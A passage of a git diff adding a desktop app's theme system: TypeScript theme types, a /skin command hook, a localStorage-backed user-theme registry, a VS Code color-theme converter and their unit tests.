+    // Single palette in both slots: a skin is one-mode, so the light/dark toggle
+    // shouldn't invert it. renderedModeFor still paints `.dark` from luminance.
+    colors: palette,
+    darkColors: palette
+  }
+}
diff --git a/ui-desktop/src/themes/types.ts b/ui-desktop/src/themes/types.ts
new file mode 100644
index 000000000..3aefda3ea
--- /dev/null
+++ b/ui-desktop/src/themes/types.ts
@@ -0,0 +1,101 @@
+/**
+ * Desktop app theme model.
+ *
+ *   colors      — Tailwind color tokens written directly to CSS vars.
+ *   darkColors  — optional hand-tuned dark variant (else `colors` is reused
+ *                 unchanged for dark, and a synth pass generates light).
+ *   typography  — font families + optional stylesheet URL.
+ *
+ * Everything else (layout, sizing, radius, line-height) lives in styles.css.
+ * Add new themes in `presets.ts` — no other code changes needed.
+ */
+
+export interface DesktopThemeColors {
+  background: string
+  foreground: string
+  card: string
+  cardForeground: string
+  muted: string
+  mutedForeground: string
+  popover: string
+  popoverForeground: string
+  primary: string
+  primaryForeground: string
+  secondary: string
+  secondaryForeground: string
+  accent: string
+  accentForeground: string
+  border: string
+  input: string
+  /** Generic focus ring — buttons, inputs, etc. */
+  ring: string
+  /**
+   * Brand-accent stroke — focus rings, streaming cursors, active session
+   * pills, branded scrollbars, text selection. Falls back to `ring`.
+   * Aliased to the DS `--midground` token.
+   */
+  midground?: string
+  /** Auto-derived from `midground` luminance when omitted. */
+  midgroundForeground?: string
+  /** Composer outline / focus color. Falls back to `midground`. */
+  composerRing?: string
+  destructive: string
+  destructiveForeground: string
+  sidebarBackground?: string
+  sidebarBorder?: string
+  userBubble?: string
+  userBubbleBorder?: string
+}
+
+export interface DesktopThemeTypography {
+  fontSans: string
+  fontMono: string
+  /** Google/Bunny/self-hosted font stylesheet URL. */
+  fontUrl?: string
+}
+
+/**
+ * Integrated-terminal ANSI palette (xterm `ITheme`, minus `background`).
+ *
+ * Populated only when a converted VS Code theme ships a full `terminal.ansi*`
+ * set; otherwise the terminal keeps its built-in VS Code default palette.
+ * `background` is intentionally absent — the pane always paints the live skin
+ * surface so it stays translucent.
+ */
+export interface DesktopTerminalPalette {
+  foreground?: string
+  cursor?: string
+  /** Keeps its source alpha — xterm blends it over the surface. */
+  selectionBackground?: string
+  black?: string
+  red?: string
+  green?: string
+  yellow?: string
+  blue?: string
+  magenta?: string
+  cyan?: string
+  white?: string
+  brightBlack?: string
+  brightRed?: string
+  brightGreen?: string
+  brightYellow?: string
+  brightBlue?: string
+  brightMagenta?: string
+  brightCyan?: string
+  brightWhite?: string
+}
+
+export interface DesktopTheme {
+  name: string
+  label: string
+  description: string
+  /** Light palette (also reused for dark when `darkColors` is omitted). */
+  colors: DesktopThemeColors
+  /** Hand-tuned dark palette. Skins like `nous` ship one. */
+  darkColors?: DesktopThemeColors
+  typography?: Partial<DesktopThemeTypography>
+  /** Light-variant terminal ANSI palette (also the fallback for dark). */
+  terminal?: DesktopTerminalPalette
+  /** Dark-variant terminal ANSI palette. Falls back to `terminal`. */
+  darkTerminal?: DesktopTerminalPalette
+}
diff --git a/ui-desktop/src/themes/use-skin-command.ts b/ui-desktop/src/themes/use-skin-command.ts
new file mode 100644
index 000000000..ac831ee06
--- /dev/null
+++ b/ui-desktop/src/themes/use-skin-command.ts
@@ -0,0 +1,60 @@
+import { useCallback } from 'react'
+
+import { useTheme } from './context'
+
+// Retired skin names land on the canonical Nous skin so old muscle memory works.
+const ALIASES: Record<string, string> = {
+  ares: 'ember',
+  default: 'nous',
+  gold: 'nous',
+  clawcodex: 'nous',
+  'nous-light': 'nous'
+}
+
+export function useSkinCommand() {
+  const { availableThemes, setTheme, themeName } = useTheme()
+
+  return useCallback(
+    (rawArg: string) => {
+      const arg = rawArg.trim()
+
+      if (!availableThemes.length) {
+        return 'No desktop themes are available.'
+      }
+
+      const activeIndex = Math.max(
+        0,
+        availableThemes.findIndex(t => t.name === themeName)
+      )
+
+      if (!arg || arg === 'next') {
+        const next = availableThemes[(activeIndex + 1) % availableThemes.length]
+        setTheme(next.name)
+
+        return `Desktop theme switched to ${next.label}.`
+      }
+
+      if (arg === 'list' || arg === 'ls' || arg === 'status') {
+        const rows = availableThemes.map(t => `${t.name === themeName ? '*' : ' '} ${t.name.padEnd(10)} ${t.label}`)
+
+        return ['Desktop themes:', ...rows, '', 'Use /skin <name>, or /skin to cycle.'].join('\n')
+      }
+
+      const normalized = arg.toLowerCase()
+      const targetName = ALIASES[normalized] || normalized
+
+      const target = availableThemes.find(
+        t => t.name.toLowerCase() === targetName || t.label.toLowerCase() === normalized
+      )
+
+      if (!target) {
+        return `Unknown desktop theme: ${arg}\nAvailable: ${availableThemes.map(t => t.name).join(', ')}`
+      }
+
+      setTheme(target.name)
+
+      return `Desktop theme switched to ${target.label}.`
+    },
+    [availableThemes, setTheme, themeName]
+  )
+}
diff --git a/ui-desktop/src/themes/user-themes.test.ts b/ui-desktop/src/themes/user-themes.test.ts
new file mode 100644
index 000000000..fa5689a41
--- /dev/null
+++ b/ui-desktop/src/themes/user-themes.test.ts
@@ -0,0 +1,105 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+
+import { BUILTIN_THEMES, DEFAULT_SKIN_NAME } from './presets'
+import {
+  $marketplaceInstalls,
+  $userThemes,
+  installUserTheme,
+  isUserTheme,
+  listAllThemes,
+  marketplaceIdOf,
+  removeUserTheme,
+  resolveTheme
+} from './user-themes'
+import { convertVscodeColorTheme } from './vscode'
+
+const makeTheme = (label: string, source?: string) =>
+  convertVscodeColorTheme(
+    {
+      name: label,
+      type: 'dark',
+      colors: { 'editor.background': '#101014', 'editor.foreground': '#fafafa', focusBorder: '#7aa2f7' }
+    },
+    source ? { source } : undefined
+  ).theme
+
+describe('user theme registry', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    $userThemes.set({})
+  })
+
+  it('installs a theme into the merged registry and persists it', () => {
+    const theme = installUserTheme(makeTheme('Tokyo Night'))
+
+    expect(isUserTheme(theme.name)).toBe(true)
+    expect(resolveTheme(theme.name)).toEqual(theme)
+    expect(listAllThemes().map(t => t.name)).toContain(theme.name)
+    expect(window.localStorage.getItem('clawcodex-desktop-user-themes-v1')).toContain(theme.name)
+  })
+
+  it('lists built-ins before user themes', () => {
+    installUserTheme(makeTheme('Custom'))
+    const names = listAllThemes().map(t => t.name)
+
+    expect(names.slice(0, Object.keys(BUILTIN_THEMES).length)).toEqual(Object.keys(BUILTIN_THEMES))
+    expect(names.at(-1)).toBe('vsc-custom')
+  })
+
+  it('removes a theme', () => {
+    const theme = installUserTheme(makeTheme('Throwaway'))
+    removeUserTheme(theme.name)
+
+    expect(isUserTheme(theme.name)).toBe(false)
+    expect(resolveTheme(theme.name)).toBeUndefined()
+  })
+
+  it('resolves built-ins through the same lookup', () => {
+    expect(resolveTheme(DEFAULT_SKIN_NAME)).toBe(BUILTIN_THEMES[DEFAULT_SKIN_NAME])
+  })
+
+  it('refuses to shadow a built-in name', () => {
+    const builtinName = makeTheme('x')
+    builtinName.name = DEFAULT_SKIN_NAME
+
+    expect(() => installUserTheme(builtinName)).toThrow(/built-in/)
+  })
+
+  it('rejects a theme missing required colors', () => {
+    const broken = makeTheme('Broken')
+    // @ts-expect-error — intentionally corrupt the palette for the test.
+    broken.colors = { background: '#000000' }
+
+    expect(() => installUserTheme(broken)).toThrow(/colors/)
+  })
+})
+
+describe('marketplace install tracking', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    $userThemes.set({})
+  })
+
+  it('recovers the extension id only from Marketplace-sourced themes', () => {
+    expect(marketplaceIdOf(makeTheme('Dracula', 'dracula-theme.theme-dracula'))).toBe('dracula-theme.theme-dracula')
+    // A pasted (non-Marketplace) import has no extension id to report.
+    expect(marketplaceIdOf(makeTheme('Pasted'))).toBeNull()
+  })
+
+  it('maps installed Marketplace extension ids to their theme, reactively', () => {
+    expect($marketplaceInstalls.get().size).toBe(0)
+
+    const theme = installUserTheme(makeTheme('Dracula', 'dracula-theme.theme-dracula'))
+    const map = $marketplaceInstalls.get()
+
+    expect(map.get('dracula-theme.theme-dracula')).toEqual(theme)
+
+    removeUserTheme(theme.name)
+    expect($marketplaceInstalls.get().has('dracula-theme.theme-dracula')).toBe(false)
+  })
+
+  it('omits pasted imports (no extension id) from the map', () => {
+    installUserTheme(makeTheme('Pasted'))
+    expect($marketplaceInstalls.get().size).toBe(0)
+  })
+})
diff --git a/ui-desktop/src/themes/user-themes.ts b/ui-desktop/src/themes/user-themes.ts
new file mode 100644
index 000000000..6c521e98c
--- /dev/null
+++ b/ui-desktop/src/themes/user-themes.ts
@@ -0,0 +1,193 @@
+/**
+ * User-installed desktop themes (currently: converted VS Code themes).
+ *
+ * This is the extensibility seam. The theme context reads the *merged* registry
+ * (built-ins + user themes) for `availableThemes` and for every skin lookup, so
+ * an installed theme shows up everywhere a built-in does — the Cmd-K palette,
+ * the Appearance settings grid, and `/skin` — with no per-surface wiring.
+ *
+ * Stored as a localStorage record so the boot-time paint (which runs before
+ * React mounts) can resolve a user theme synchronously, same as built-ins.
+ */
+
+import { atom, computed } from 'nanostores'
+
+import { registry } from '@/contrib/registry'
+
+import { $backendThemes } from './backend-sync'
+import { BUILTIN_THEMES } from './presets'
+import type { DesktopTheme, DesktopThemeColors } from './types'
+
+const USER_THEMES_KEY = 'clawcodex-desktop-user-themes-v1'
+
+// Marketplace imports stamp their description "VS Code · <publisher.extension>"
+// (see `convertVscodeColorTheme`). This is the one place that convention is read
+// back out, so every install surface can tell what's already installed.
+const MARKETPLACE_DESC_PREFIX = 'VS Code · '
+
+// The minimal set of color keys a stored theme must carry to be usable. We keep
+// this loose — `applyTheme` tolerates missing optionals via fallbacks — but a
+// theme with no background/foreground/primary is junk and gets dropped.
+const REQUIRED_COLOR_KEYS: ReadonlyArray<keyof DesktopThemeColors> = ['background', 'foreground', 'primary']
+
+function isValidTheme(value: unknown): value is DesktopTheme {
+  if (!value || typeof value !== 'object') {
+    return false
+  }
+
+  const theme = value as Partial<DesktopTheme>
+
+  if (typeof theme.name !== 'string' || typeof theme.label !== 'string' || !theme.colors) {
+    return false
+  }
+
+  const colors = theme.colors as unknown as Record<string, unknown>
+
+  return REQUIRED_COLOR_KEYS.every(key => typeof colors[key] === 'string')
+}
+
+function readStored(): Record<string, DesktopTheme> {
+  try {
+    const raw = window.localStorage.getItem(USER_THEMES_KEY)
+
+    if (!raw) {
+      return {}
+    }
+
+    const parsed: unknown = JSON.parse(raw)
+
+    if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+      return {}
+    }
+
+    const out: Record<string, DesktopTheme> = {}
+
+    for (const [key, value] of Object.entries(parsed)) {
+      // Never let a stored theme shadow a built-in name.
+      if (!BUILTIN_THEMES[key] && isValidTheme(value)) {
+        out[key] = value
+      }
+    }
+
+    return out
+  } catch {
+    return {}
+  }
+}
+
+function persist(record: Record<string, DesktopTheme>) {
+  try {
+    window.localStorage.setItem(USER_THEMES_KEY, JSON.stringify(record))
+  } catch {
+    // Best-effort: a restricted storage context shouldn't break theming.
+  }
+}
+
+/** Reactive map of installed user themes, keyed by slug. */
+export const $userThemes = atom<Record<string, DesktopTheme>>(typeof window === 'undefined' ? {} : readStored())
+
+/** Install (or replace) a user theme. Returns the stored theme. */
+export function installUserTheme(theme: DesktopTheme): DesktopTheme {
+  if (BUILTIN_THEMES[theme.name]) {
+    throw new Error(`"${theme.name}" collides with a built-in theme.`)
+  }
+
+  if (!isValidTheme(theme)) {
+    throw new Error('Theme is missing required colors.')
+  }
+
+  const next = { ...$userThemes.get(), [theme.name]: theme }
+  $userThemes.set(next)
+  persist(next)
+
+  return theme
+}
+
+/** Remove a user theme by slug. No-op for unknown / built-in names. */
+export function removeUserTheme(name: string): void {
+  const current = $userThemes.get()
+
+  if (!current[name]) {
+    return
+  }
+
+  const next = { ...current }
+  delete next[name]
+  $userThemes.set(next)
+  persist(next)
+}
+
+export const isUserTheme = (name: string): boolean => Boolean($userThemes.get()[name])
+
+/** The Marketplace extension id an installed theme came from, or null. */
+export function marketplaceIdOf(theme: DesktopTheme): string | null {
+  return theme.description.startsWith(MARKETPLACE_DESC_PREFIX)
+    ? theme.description.slice(MARKETPLACE_DESC_PREFIX.length)
+    : null
+}
+
+/**
+ * Reactive `extensionId → installed theme` map, so the install UIs can mark
+ * Marketplace rows you already have (and re-activate them without re-downloading)
+ * from one memoized source instead of re-deriving the set on every render.
+ */
+export const $marketplaceInstalls = computed($userThemes, themes => {
+  const map = new Map<string, DesktopTheme>()
+
+  for (const theme of Object.values(themes)) {
+    const id = marketplaceIdOf(theme)
+
+    if (id) {
+      map.set(id, theme)
+    }
+  }
+
+  return map
+})
+
+// ── Contributed themes — the `themes` registry area ─────────────────────────
+// A data contribution IS a DesktopTheme. Same validity bar as an installed
+// theme; built-in names can't be shadowed, and user-installed themes win over
+// contributed ones of the same name (the user's explicit install is intent).
+
+export const THEMES_AREA = 'themes'
+
+export function contributedThemes(): DesktopTheme[] {
+  const seen = new Set<string>()
+  const out: DesktopTheme[] = []
+
+  for (const c of registry.getArea(THEMES_AREA)) {
+    const theme = c.data as DesktopTheme | undefined
+
+    if (theme && isValidTheme(theme) && !BUILTIN_THEMES[theme.name] && !seen.has(theme.name)) {
+      seen.add(theme.name)
+      out.push(theme)
+    }
+  }
+
+  return out
+}
+
+/** Resolve a theme by name across the merged set (built-in + user + backend + contributed). */
+export function resolveTheme(name: string): DesktopTheme | undefined {
+  return (
+    BUILTIN_THEMES[name] ??
+    $userThemes.get()[name] ??
+    $backendThemes.get()[name] ??
+    contributedThemes().find(theme => theme.name === name)
+  )
+}
+
+/** Built-ins first (stable order), then contributed, then backend skins, then user installs. */
+export function listAllThemes(): DesktopTheme[] {
+  const user = $userThemes.get()
+  const backend = $backendThemes.get()
+  const shadows = (theme: DesktopTheme) => user[theme.name] || backend[theme.name]
+
+  return [
+    ...Object.values(BUILTIN_THEMES),
+    ...contributedThemes().filter(theme => !shadows(theme)),
+    ...Object.values(backend).filter(theme => !user[theme.name]),
+    ...Object.values(user)
+  ]
+}
diff --git a/ui-desktop/src/themes/vscode.test.ts b/ui-desktop/src/themes/vscode.test.ts
new file mode 100644
index 000000000..ac7cc9f9b
--- /dev/null
+++ b/ui-desktop/src/themes/vscode.test.ts
@@ -0,0 +1,171 @@
+import { describe, expect, it } from 'vitest'
+
+import { contrastRatio } from './color'
+import { convertVscodeColorTheme, parseVscodeTheme, vscodeThemeSlug } from './vscode'
+
+describe('vscodeThemeSlug', () => {
+  it('namespaces, lowercases, and dashes', () => {
+    expect(vscodeThemeSlug('Dracula Soft')).toBe('vsc-dracula-soft')
+    expect(vscodeThemeSlug('  One Dark Pro!! ')).toBe('vsc-one-dark-pro')
+  })
+
+  it('falls back when the name has no usable characters', () => {
+    expect(vscodeThemeSlug('—')).toBe('vsc-theme')
+  })
+})
+
+describe('parseVscodeTheme (JSONC tolerance)', () => {
+  it('strips comments and trailing commas', () => {
+    const text = `{
+      // a line comment
+      "name": "Demo",
+      /* block comment */
+      "type": "dark",
+      "colors": {
+        "editor.background": "#1e1e2e", // inline
+      },
+    }`
+
+    const parsed = parseVscodeTheme(text)
+    expect(parsed.name).toBe('Demo')
+    expect(parsed.colors?.['editor.background']).toBe('#1e1e2e')
+  })
+
+  it('throws on a non-object', () => {
+    expect(() => parseVscodeTheme('42')).toThrow()
+  })
+})
+
+describe('convertVscodeColorTheme', () => {
+  const dracula = {
+    name: 'Dracula',
+    type: 'dark',
+    colors: {
+      'editor.background': '#282a36',
+      'editor.foreground': '#f8f8f2',
+      focusBorder: '#6272a4',
+      'editorWidget.background': '#21222c',
+      'sideBar.background': '#21222c',
+      errorForeground: '#ff5555',
+      // 8-digit hex (alpha) — must flatten over the background.
+      'panel.border': '#bd93f900'
+    }
+  }
+
+  it('maps the load-bearing tokens onto the palette', () => {
+    const { theme } = convertVscodeColorTheme(dracula, { source: 'dracula-theme.theme-dracula' })
+
+    expect(theme.name).toBe('vsc-dracula')
+    expect(theme.label).toBe('Dracula')
+    expect(theme.description).toContain('dracula-theme.theme-dracula')
+    expect(theme.colors.background).toBe('#282a36')
+    expect(theme.colors.foreground).toBe('#f8f8f2')
+    // One accent drives primary + ring + midground together...
+    expect(theme.colors.ring).toBe(theme.colors.primary)
+    expect(theme.colors.midground).toBe(theme.colors.primary)
+    // ...and it's nudged until it reads on the sidebar it labels (the dim
+    // focusBorder #6272a4 sits below AA, so it's lifted).
+    expect(contrastRatio(theme.colors.primary, theme.colors.sidebarBackground!)).toBeGreaterThanOrEqual(4.5)
+    expect(theme.colors.popover).toBe('#21222c')
+    expect(theme.colors.sidebarBackground).toBe('#21222c')
+    expect(theme.colors.destructive).toBe('#ff5555')
+  })
+
+  it('flattens alpha hex over the background (no #rrggbbaa leaks)', () => {
+    const { theme } = convertVscodeColorTheme(dracula)
+    expect(theme.colors.border).toMatch(/^#[0-9a-f]{6}$/)
+    // 00 alpha over the bg means the border collapses to the background.
+    expect(theme.colors.border).toBe('#282a36')
+  })
+
+  it('renders identically in both modes (single palette in both slots)', () => {
+    const { theme } = convertVscodeColorTheme(dracula)
+    expect(theme.darkColors).toBe(theme.colors)
+  })
+
+  it('records derived fallbacks for omitted tokens', () => {
+    const { derived } = convertVscodeColorTheme({
+      name: 'Sparse',
+      type: 'dark',
+      colors: { 'editor.background': '#101010', 'editor.foreground': '#fafafa' }
+    })
+
+    // No accent/elevated/sidebar/error tokens → all derived. The accent records
+    // its first candidate (button.background) when none of the family is present.
+    expect(derived).toContain('button.background')
+    expect(derived).toContain('editorWidget.background')
+    expect(derived).toContain('editorError.foreground')
+  })
+
+  it('buckets light vs dark from background luminance when type is absent', () => {
+    const light = convertVscodeColorTheme({
+      name: 'Bright',
+      colors: { 'editor.background': '#ffffff', 'editor.foreground': '#1a1a1a' }
+    }).theme
+
+    // A light background should keep a near-white background, not synth dark.
+    expect(light.colors.background).toBe('#ffffff')
+  })
+
+  it('throws when there is no colors map', () => {
+    expect(() => convertVscodeColorTheme({ name: 'Empty' })).toThrow(/colors/)
+  })
+
+  const fullAnsi = {
+    'terminal.ansiBlack': '#073642',
+    'terminal.ansiRed': '#dc322f',
+    'terminal.ansiGreen': '#859900',
+    'terminal.ansiYellow': '#b58900',
+    'terminal.ansiBlue': '#268bd2',
+    'terminal.ansiMagenta': '#d33682',
+    'terminal.ansiCyan': '#2aa198',
+    'terminal.ansiWhite': '#eee8d5',
+    'terminal.ansiBrightBlack': '#002b36',
+    'terminal.ansiBrightRed': '#cb4b16',
+    'terminal.ansiBrightGreen': '#586e75',
+    'terminal.ansiBrightYellow': '#657b83',
+    'terminal.ansiBrightBlue': '#839496',
+    'terminal.ansiBrightMagenta': '#6c71c4',
+    'terminal.ansiBrightCyan': '#93a1a1',
+    'terminal.ansiBrightWhite': '#fdf6e3'
+  }
+
+  it('lifts the ANSI palette when the full base-8 set is present', () => {
+    const { theme } = convertVscodeColorTheme({
+      name: 'Solarized Dark',
+      type: 'dark',
+      colors: {
+        'editor.background': '#002b36',
+        'editor.foreground': '#93a1a1',
+        'terminal.foreground': '#839496',
+        'terminalCursor.foreground': '#93a1a1',
+        // Alpha selection must survive un-flattened — xterm blends it.
+        'terminal.selectionBackground': '#073642aa',
+        ...fullAnsi
+      }
+    })
+
+    expect(theme.terminal?.red).toBe('#dc322f')
+    expect(theme.terminal?.brightWhite).toBe('#fdf6e3')
+    expect(theme.terminal?.foreground).toBe('#839496')
+    expect(theme.terminal?.cursor).toBe('#93a1a1')
+    expect(theme.terminal?.selectionBackground).toBe('#073642aa')
+    // No background slot — the pane keeps the live surface (transparency).
+    expect('background' in (theme.terminal ?? {})).toBe(false)
+  })
+
+  it('keeps the default palette (no terminal slot) when the ANSI set is partial', () => {
+    const { theme } = convertVscodeColorTheme({
+      name: 'Half',
+      type: 'dark',
+      colors: {
+        'editor.background': '#101010',
+        'editor.foreground': '#fafafa',
+        'terminal.ansiRed': '#ff0000',
+        'terminal.ansiGreen': '#00ff00'
+      }
+    })
+
+    expect(theme.terminal).toBeUndefined()
+  })
+})
diff --git a/ui-desktop/src/themes/vscode.ts b/ui-desktop/src/themes/vscode.ts
new file mode 100644
index 000000000..77340f9ea
--- /dev/null
+++ b/ui-desktop/src/themes/vscode.ts
@@ -0,0 +1,370 @@
+/**
+ * VS Code color-theme → DesktopTheme converter.
+ *
+ * VS Code themes carry ~hundreds of `workbench.colorCustomization` keys, but the
+ * desktop theme model only needs a `DesktopThemeColors` struct — `applyTheme`
+ * derives every glass/shadcn token from a small seed chain via `color-mix()`.
+ * In practice ~6 workbench keys carry the whole look (background, foreground,
+ * accent, elevated surface, sidebar, error); everything else we derive by mixing
+ * those toward the background/foreground. That's the "naive token converter".
+ *
+ * A VS Code theme is single-mode (light OR dark). Rather than synthesise the
+ * opposite mode, we set both `colors` and `darkColors` to the converted palette
+ * so the imported theme renders faithfully no matter where the light/dark toggle
+ * sits — `renderedModeFor` still picks the `.dark` class from the real
+ * background luminance, so surface-bound UI matches what's on screen.
+ */
+
+import { ensureContrast, luminance, mix, normalizeHex, readableOn } from './color'
+import type { DesktopTerminalPalette, DesktopTheme, DesktopThemeColors } from './types'
+
+// Section headers / sidebar labels render in --theme-primary directly on the
+// sidebar surface as small (~10px) uppercase text, so the accent has to clear
+// WCAG AA for normal text (4.5:1) or it's unreadable — the "invisible purple
+// label" case. Imported accents below this get nudged lighter/darker.
+const ACCENT_MIN_CONTRAST = 4.5
+
+/** The shape of a VS Code `*-color-theme.json` (only the fields we read). */
+export interface VscodeColorTheme {
+  name?: string
+  type?: string
+  /** Relative path to a base theme this one extends. We don't follow it. */
+  include?: string
+  colors?: Record<string, unknown>
+  tokenColors?: unknown
+}
+
+export interface ConvertOptions {
+  /** Stable id (slug). Defaults to a slug of `raw.name`. */
+  slug?: string
+  /** Display label. Defaults to `raw.name`. */
+  label?: string
+  /** Shown under the label in the picker (e.g. the marketplace extension id). */
+  source?: string
+}
+
+export interface ConvertResult {
+  theme: DesktopTheme
+  /** The source theme's own light/dark (from `type`, else background luminance). */
+  mode: 'light' | 'dark'
+  /** Workbench keys we wanted but the theme omitted (we derived fallbacks). */
+  derived: string[]
+}
+
+/** Tolerant slug: lowercase, alnum + dashes, deduped, `vsc-` namespaced. */
+export function vscodeThemeSlug(name: string): string {
+  const base = name
+    .trim()
+    .toLowerCase()
+    .replace(/[^a-z0-9]+/g, '-')
+    .replace(/^-+|-+$/g, '')
+    .slice(0, 48)
+
+  return `vsc-${base || 'theme'}`
+}
+
+/**
+ * Parse a VS Code theme file. These ship as JSONC (line/block comments and
+ * trailing commas), so a plain `JSON.parse` rejects most real-world files.
+ * Strips comments + trailing commas, then parses. Throws on hard syntax errors.
+ */
+export function parseVscodeTheme(text: string): VscodeColorTheme {
+  const stripped = text
+    // Block comments.
+    .replace(/\/\*[\s\S]*?\*\//g, '')
+    // Line comments (not inside strings — naive but fine for theme files).
+    .replace(/(^|[^:"'\\])\/\/[^\n\r]*/g, '$1')
+    // Trailing commas before } or ].
+    .replace(/,(\s*[}\]])/g, '$1')
+
+  const parsed: unknown = JSON.parse(stripped)
+
+  if (!parsed || typeof parsed !== 'object') {
+    throw new Error('Theme file is not a JSON object.')
+  }
+
+  return parsed as VscodeColorTheme
+}
+
+const isDarkType = (raw: VscodeColorTheme, background: string): boolean => {
+  const type = (raw.type ?? '').toLowerCase()
+
+  if (type.includes('light')) {
+    return false
+  }
+
+  if (type === 'dark' || type === 'hc' || type === 'hc-black' || type.includes('dark')) {
+    return true
+  }
+
+  // No usable `type` — bucket by background luminance.
+  return luminance(background) < 0.4
+}
+
+// xterm ITheme ANSI slots ← VS Code `terminal.ansi*` tokens. Background is
+// deliberately excluded — the pane keeps the live skin surface (transparency).
+const ANSI_TOKENS: ReadonlyArray<readonly [keyof DesktopTerminalPalette, string]> = [
+  ['black', 'terminal.ansiBlack'],
+  ['red', 'terminal.ansiRed'],
+  ['green', 'terminal.ansiGreen'],
+  ['yellow', 'terminal.ansiYellow'],
+  ['blue', 'terminal.ansiBlue'],
+  ['magenta', 'terminal.ansiMagenta'],
+  ['cyan', 'terminal.ansiCyan'],
+  ['white', 'terminal.ansiWhite'],
+  ['brightBlack', 'terminal.ansiBrightBlack'],
+  ['brightRed', 'terminal.ansiBrightRed'],
+  ['brightGreen', 'terminal.ansiBrightGreen'],
+  ['brightYellow', 'terminal.ansiBrightYellow'],
+  ['brightBlue', 'terminal.ansiBrightBlue'],
+  ['brightMagenta', 'terminal.ansiBrightMagenta'],
+  ['brightCyan', 'terminal.ansiBrightCyan'],
+  ['brightWhite', 'terminal.ansiBrightWhite']
+]
+
+const BASE_ANSI: ReadonlyArray<keyof DesktopTerminalPalette> = [
+  'black',
+  'red',
+  'green',
+  'yellow',
+  'blue',
+  'magenta',
+  'cyan',
+  'white'
+]
+
+const HEX_RE = /^#[0-9a-f]{3,8}$/i
+
+/**
+ * Lift a theme's integrated-terminal ANSI palette, if it ships one.
+ *
+ * All-or-nothing on the base-8 colors: a half-filled palette mixed with our
+ * defaults reads worse than just keeping the defaults, so we adopt the theme's
+ * palette only when the full base set is present. ANSI slots flatten alpha over
+ * the editor background; selection keeps its alpha so xterm can blend it.
+ */
+function extractTerminalPalette(
+  colors: Record<string, unknown>,
+  background: string
+): DesktopTerminalPalette | undefined {
+  const hex = (key: string): string | undefined =>
+    normalizeHex(typeof colors[key] === 'string' ? (colors[key] as string) : null, background) ?? undefined
+
+  const palette: DesktopTerminalPalette = {}
+
+  for (const [slot, token] of ANSI_TOKENS) {
+    const value = hex(token)
+
+    if (value) {
+      palette[slot] = value
+    }
+  }
+
+  if (!BASE_ANSI.every(slot => palette[slot])) {
+    return undefined
+  }
+
+  const foreground = hex('terminal.foreground')
+  const cursor = hex('terminalCursor.foreground') ?? hex('terminalCursor.background')
+
+  const selection =
+    typeof colors['terminal.selectionBackground'] === 'string' ? colors['terminal.selectionBackground'].trim() : ''
+
+  if (foreground) {
+    palette.foreground = foreground
+  }
+
+  if (cursor) {
+    palette.cursor = cursor
+  }
+
+  if (HEX_RE.test(selection)) {
+    palette.selectionBackground = selection
+  }
+
+  return palette
+}
+
+/** First normalizable hex among `keys`, composited over `backdrop`. */
+const pick = (
+  colors: Record<string, unknown>,
+  keys: string[],
+  backdrop: string
+): { key: string; value: string } | null => {
+  for (const key of keys) {
+    const value = normalizeHex(typeof colors[key] === 'string' ? (colors[key] as string) : null, backdrop)
+
+    if (value) {
+      return { key, value }
+    }
+  }
+
+  return null
+}
+
+export function convertVscodeColorTheme(raw: VscodeColorTheme, opts: ConvertOptions = {}): ConvertResult {
+  const colors = raw.colors && typeof raw.colors === 'object' ? (raw.colors as Record<string, unknown>) : null
+
+  if (!colors) {
+    throw new Error('Theme has no "colors" map — not a VS Code color theme.')
+  }
+
+  const derived: string[] = []
+
+  // Background first: it's the backdrop every other token flattens alpha over.
+  const backgroundHit = pick(
+    colors,
+    ['editor.background', 'editorPane.background', 'editorGroup.background'],
+    '#000000'
+  )
+
+  const dark = isDarkType(raw, backgroundHit?.value ?? '#1e1e1e')
+  const background = backgroundHit?.value ?? (dark ? '#1e1e1e' : '#ffffff')
+
+  if (!backgroundHit) {
+    derived.push('editor.background')
+  }
+
+  // `take` records a derived fallback when the theme omits the key.
+  const take = (keys: string[], fallback: string): string => {
+    const hit = pick(colors, keys, background)
+
+    if (hit) {
+      return hit.value
+    }
+
+    derived.push(keys[0])
+
+    return fallback
+  }
+
+  const foreground = take(['editor.foreground', 'foreground'], dark ? '#d4d4d4' : '#1f1f1f')
+
+  // Brand accent — the single most load-bearing token. Drives primary buttons,
+  // focus rings, the streaming cursor, active-session pills, and sidebar labels.
+  // Prefer the saturated "brand" tokens (button / link / badge) over focusBorder,
+  // which many themes set to a muted gray — picking it first made imported
+  // accents look like the desktop defaults. We enforce contrast below regardless.
+  const accentSource = take(
+    [
+      'button.background',
+      'textLink.activeForeground',
+      'textLink.foreground',
+      'activityBarBadge.background',
+      'badge.background',
+      'progressBar.background',
+      'pickerGroup.foreground',
+      'list.highlightForeground',
+      'editorLink.activeForeground',
+      'focusBorder',
+      'tab.activeBorder',
+      'statusBarItem.remoteBackground'
+    ],
+    mix(foreground, background, 0.55)
+  )
+
+  const elevated = take(
+    [
+      'editorWidget.background',
+      'dropdown.background',
+      'menu.background',
+      'quickInput.background',
+      'editorSuggestWidget.background'
+    ],
+    mix(background, foreground, dark ? 0.08 : 0.05)
+  )
+
+  const card = take(
+    ['sideBarSectionHeader.background', 'tab.inactiveBackground', 'editorGroupHeader.tabsBackground'],
+    mix(background, foreground, dark ? 0.04 : 0.025)
+  )
+
+  const sidebar = take(
+    ['sideBar.background', 'activityBar.background'],
+    mix(background, foreground, dark ? 0.02 : 0.012)
+  )
+
+  // The accent labels the sidebar (--theme-primary), so guarantee it reads
+  // there — otherwise low-contrast brand colors leave invisible section headers.
+  const accent = ensureContrast(accentSource, sidebar, ACCENT_MIN_CONTRAST)
+
+  const border = take(
+    ['panel.border', 'editorGroup.border', 'sideBar.border', 'contrastBorder', 'widget.border', 'input.border'],
+    mix(background, foreground, dark ? 0.16 : 0.14)
+  )
+
+  const input = take(
+    ['input.background', 'dropdown.background', 'quickInput.background'],
+    mix(background, foreground, dark ? 0.1 : 0.06)
+  )
+
+  const mutedForeground = take(
+    ['descriptionForeground', 'editorLineNumber.foreground', 'tab.inactiveForeground', 'disabledForeground'],
+    mix(foreground, background, 0.45)
+  )
+
+  const destructive = take(
+    [
+      'editorError.foreground',
+      'errorForeground',
+      'editorOverviewRuler.errorForeground',
+      'notificationsErrorIcon.foreground'
+    ],
+    '#e25563'
+  )
+
+  const muted = mix(background, foreground, dark ? 0.06 : 0.04)
